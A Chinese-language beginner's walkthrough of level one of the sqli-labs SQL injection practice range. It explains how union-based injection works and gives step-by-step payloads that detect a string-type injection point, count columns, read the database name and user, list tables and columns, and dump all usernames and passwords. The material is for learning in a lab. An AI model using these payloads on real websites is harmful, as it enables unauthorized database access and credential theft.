文章目录
前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、sql注入是什么?
sql注入是指由于没有安全意识的开发者在写与数据库交互的代码时没有严格的进行过滤和防范,使一些攻击者能利用缺陷把恶意的代码拼接到数据库,从而窃取、篡改或破坏各类敏感数据。
1.sql注入的最常规思路(特指靶场第一关)
先判断注入点类型,知道类型后order by查询显示位,然后用联合查询爆数据库名,版本号,用户名等,其次爆表名,列名。最后爆数据。
二、sql注入第一关用到的一些知识
1.关于sql中order by 查询
order by的作用及含义为 order by 用于判断显示位,order by 原有的作用是对字段进行一个排序,在sql注入中用order by 来判断排序,order by 1就是对一个字段进行排序,如果一共四个字段,若order by 5 数据库不知道怎么排序,就错误了无返回值。
2.关于sql注入的联合注入用法
union select是小白前期经常用到的注入语句,union可合并两个或多个select语句的结果集, 前提是两个select必有相同列、且各列的数据类型也相同 。要用联合查询进行注入则:页面必须有显示位。
3.关于sql注入简单的判断是否有注入点
用到and 1=1 和and 1=2 万能法,像id=1 and 1=1
有人可能会钻牛角尖为什么不用or呢?
首先我们要了解and与or在计算机的用法,其实and类似于c语言的&&,or类似于c语言的||。
or众所周知是一真为真,两假为假。and是一假为假,两真为真。
由于短路原则可知道,若A and B 中,A为假,程序就不会去判断B了,or用法也一样,A or B 中,A为真,就不执行B。
由于靶场前几关是基于get注入,get请求是请求参数会添加到URL的后面,比如id=1 and 1=1来说,id=1是永真的,用or连接就会触发短路,不执行注入语句1=1。
4.关于sql注入的information查询
在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
三、sqli-labs靶场第一关思路
一、判断注入点
http://xxx.xxx.xxx.xxx/sqli-labs/Less-1/?id=1 and 1=1
http://xxx.xxx.xxx.xxx/sqli-labs/Less-1/?id=1 and 1=2
发现输入万能的and 1=1 和and 1=2 都回显正常。说明不可能是数字型的注入。
输入id=1'发现报错,报错为
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
我们套上万能语句 ,id=1' and 1=1--+ 和id=1' and 1=2--+
发现and 1=1回显正常,and 1=2 报错,我们可以确定它是字符型注入(get类型)。
为什么可以这么判断数字型还是字符型呢?
因为字符型的话其实在数据库是'1' and 1=1'
id=1' 第一个单引号闭合掉了,还有一个单引号多出来了所以会报错,--+注释符就是来闭合后面的单引号变成'1' and 1=1--+',让注入语句成功执行。而为什么不是数字型呢?因为插入1 and 1=2时,是数字型就会报错,而第一关'1 and 1=2'中注入的 1 and 1=2被认为是字符串执行了所以不会触发and规则。
二、爆字段个数
注入语句
id=1' order by 1 --+
逐渐提高数字,发现到4的时候报错,说明只有三列。
三、爆显位位置
注入语句为
id=-1' union select 1,2,3--+
发现回显位为2,3。之后注入语句就在这里做文章了
为什么id=-1',因为id默认是大于0的在数据库中,id为-1是会报错,我们就是要让其报错然后返回我们想要的信息。
四、爆数据库名
注入语句为
id=-1' union select 1,user(),database()--+
成功爆出数据库名为security,用户为root@localhost,版本号自己用version()查询就行了。
五、爆数据库表
注入语句为
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
得到表有emails,referers,uagents,users.其中users有关键信息的概率大。
六、爆数据库列
注入语句为
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+
七、爆数据库关键信息
注入语句为
id=-1' union select 1,group_concat(username),group_concat(password) from users --+
得到所有数据。
group_concat()是什么,为什么有时用limit 0,1?
group_concat()函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。简单来说就是把所有东西拼接起来,group_concat(password)就是列出所有密码。limit用法是一般是单个查询。
总结
第一关是一个基于get注入(字符型),通过第一关熟悉了如何粗略判断注入点类型,和联合注入用法以及整个注入流程。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!